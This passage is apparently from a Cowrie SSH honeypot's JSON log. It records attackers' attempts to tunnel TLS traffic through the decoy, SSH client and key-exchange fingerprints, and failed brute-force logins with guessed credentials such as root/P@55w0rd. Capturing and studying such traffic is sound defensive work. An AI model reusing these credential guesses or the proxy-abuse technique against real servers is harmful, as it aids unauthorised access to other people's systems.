\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x01\\xb2\\x8d\\xfc\\x91<<%\\xb7I\\xab\\xda\\x13\\x91\\x85\\r\\x1a\\xb0h\\xfe\\x95\\xf6R`\\x8f\\xa5\\xfd#;\\x1a#u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\xc8V\\xb7\\xa2\\x80\\xbe8D\\x89\\x8e\\x0e\\xba\\x80\\x08{\\xeb\\xed\\xbd\\xb4\\x80)\\x81)\\x13[>J\\x85\\xd7\\x16\\xea #+\\xf6\\x0f\\xe0w\\x8bG2\\xbe?\\x13\\x1a\\xd7\\x89\\xc6`\\xc6(+\\x1a\\x1a\\x10L\\x10%\\x0fIt\\xe0!\\xc0\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x01\\xb2\\x8d\\xfc\\x91<<%\\xb7I\\xab\\xda\\x13\\x91\\x85\\r\\x1a\\xb0h\\xfe\\x95\\xf6R`\\x8f\\xa5\\xfd#;\\x1a#u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:00.689957Z","src_ip":"113.164.152.20","session":"51f59f1a1bcf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:00.986679Z","session":"51f59f1a1bcf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:01.277291Z","src_ip":"113.164.152.20","session":"51f59f1a1bcf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc6W\\x060\\xa1\\x01\\x02\\x1b\\xb7\\xb5\\xd1Y\\x15u\\xb2/\\x907\\xb7\\xb5&-H\\x05\\xe7\\xcd0\\xde{\\x8e\\x8c\\xbc p+\\x03\\x85\\xedn\\x7fZ}\\xec\\xba\\x1b\\x14i\\xc0\\x93p,\\x80\\x1f\\xc8\\xa6E\\x99Y\\xd7\\x88,J\\n^t\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x88g\\xd0\\x08\\xb1~o\"\\x8b\\x82\\xe6(&\\xc53\\x13\\x18\\xadQ\\xec\\xf5\\x0b\\xeb\\x13\\xf3\\xd6\\xb2!\\x96;\\x87\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc6W\\x060\\xa1\\x01\\x02\\x1b\\xb7\\xb5\\xd1Y\\x15u\\xb2/\\x907\\xb7\\xb5&-H\\x05\\xe7\\xcd0\\xde{\\x8e\\x8c\\xbc p+\\x03\\x85\\xedn\\x7fZ}\\xec\\xba\\x1b\\x14i\\xc0\\x93p,\\x80\\x1f\\xc8\\xa6E\\x99Y\\xd7\\x88,J\\n^t\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x88g\\xd0\\x08\\xb1~o\"\\x8b\\x82\\xe6(&\\xc53\\x13\\x18\\xadQ\\xec\\xf5\\x0b\\xeb\\x13\\xf3\\xd6\\xb2!\\x96;\\x87\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:01.281025Z","src_ip":"113.164.152.20","session":"51f59f1a1bcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":38720,"dst_ip":"10.17.0.5","dst_port":22,"session":"8221c24a60ed","protocol":"ssh","message":"New connection: 45.153.34.195:38720 (10.17.0.5:22) [session: 8221c24a60ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:01.504932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:01.515850Z","src_ip":"45.153.34.195","session":"8221c24a60ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:01.746248Z","src_ip":"113.164.152.20","session":"51f59f1a1bcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:01.767578Z","src_ip":"45.153.34.195","session":"8221c24a60ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nina","password":"nina","message":"login attempt [nina/nina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:02.123808Z","src_ip":"45.153.34.195","session":"8221c24a60ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:03.330658Z","src_ip":"45.153.34.195","session":"8221c24a60ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":58936,"dst_ip":"159.203.135.109","dst_port":22,"session":"17d8438d0a59","protocol":"ssh","message":"New connection: 160.187.180.146:58936 (159.203.135.109:22) [session: 17d8438d0a59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:04.377026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:04.381458Z","src_ip":"160.187.180.146","session":"17d8438d0a59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":24698,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd4f98caec4e","protocol":"ssh","message":"New connection: 45.153.34.195:24698 (10.17.0.5:22) [session: bd4f98caec4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:04.504409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:04.525511Z","src_ip":"45.153.34.195","session":"bd4f98caec4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:04.602473Z","src_ip":"160.187.180.146","session":"17d8438d0a59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:04.674684Z","src_ip":"45.153.34.195","session":"bd4f98caec4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30422,"dst_ip":"10.17.0.5","dst_port":22,"session":"075f7d677df2","protocol":"ssh","message":"New connection: 91.92.40.36:30422 (10.17.0.5:22) [session: 075f7d677df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:05.115036Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:05.153232Z","src_ip":"45.153.34.195","session":"bd4f98caec4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1P@ssw0rd","message":"login attempt [root/1P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:05.518990Z","src_ip":"160.187.180.146","session":"17d8438d0a59","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:05.550288Z","src_ip":"91.92.40.36","session":"075f7d677df2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:05.553633Z","src_ip":"91.92.40.36","session":"075f7d677df2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:06.288316Z","src_ip":"45.153.34.195","session":"bd4f98caec4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:29:06.744253Z","src_ip":"160.187.180.146","session":"17d8438d0a59","protocol":"ssh"}
